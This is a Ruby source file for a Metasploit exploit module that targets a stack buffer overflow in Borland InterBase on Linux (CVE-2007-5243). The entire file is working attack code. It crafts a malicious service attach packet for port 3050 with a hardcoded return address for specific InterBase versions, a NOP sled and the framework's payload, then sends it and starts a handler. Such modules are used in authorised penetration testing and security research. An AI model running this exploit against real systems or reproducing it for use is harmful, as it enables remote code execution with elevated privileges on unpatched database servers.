128 lines
2.5 KiB
Ruby
128 lines
2.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Borland InterBase INET_connect() Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Borland InterBase
|
|
by sending a specially crafted service attach request.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Ramon de C Valle',
|
|
'Adriano Lima <adriano[at]risesecurity.org>',
|
|
],
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-5243' ],
|
|
[ 'OSVDB', '38605' ],
|
|
[ 'BID', '25917' ],
|
|
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
|
|
],
|
|
'Privileged' => true,
|
|
'License' => MSF_LICENSE,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 512,
|
|
'BadChars' => "\x00\x2f\x3a\x40\x5c",
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# 0x0804d2ee 5b5e5f5dc3
|
|
[
|
|
'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
|
|
{ 'Ret' => 0x0804d2ee }
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 03 2007'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3050)
|
|
],
|
|
self.class
|
|
)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
# Attach database
|
|
op_attach = 19
|
|
|
|
# Create database
|
|
op_create = 20
|
|
|
|
# Service attach
|
|
op_service_attach = 82
|
|
|
|
length = 161
|
|
remainder = length.remainder(4)
|
|
padding = 0
|
|
|
|
if remainder > 0
|
|
padding = (4 - remainder)
|
|
end
|
|
|
|
buf = ''
|
|
|
|
# Operation/packet type
|
|
buf << [op_service_attach].pack('N')
|
|
|
|
# Id
|
|
buf << [0].pack('N')
|
|
|
|
# Length
|
|
buf << [length].pack('N')
|
|
|
|
# Random alpha data
|
|
buf << rand_text_alpha(length - 5)
|
|
|
|
# Target
|
|
buf << [target.ret].pack('L')
|
|
|
|
# Separator
|
|
buf << ':'
|
|
|
|
# Padding
|
|
buf << "\x00" * padding
|
|
|
|
# Database parameter block
|
|
|
|
# Length
|
|
buf << [1024].pack('N')
|
|
|
|
# It will return into this nop block
|
|
buf << make_nops(1024 - payload.encoded.length)
|
|
|
|
# Payload
|
|
buf << payload.encoded
|
|
|
|
sock.put(buf)
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|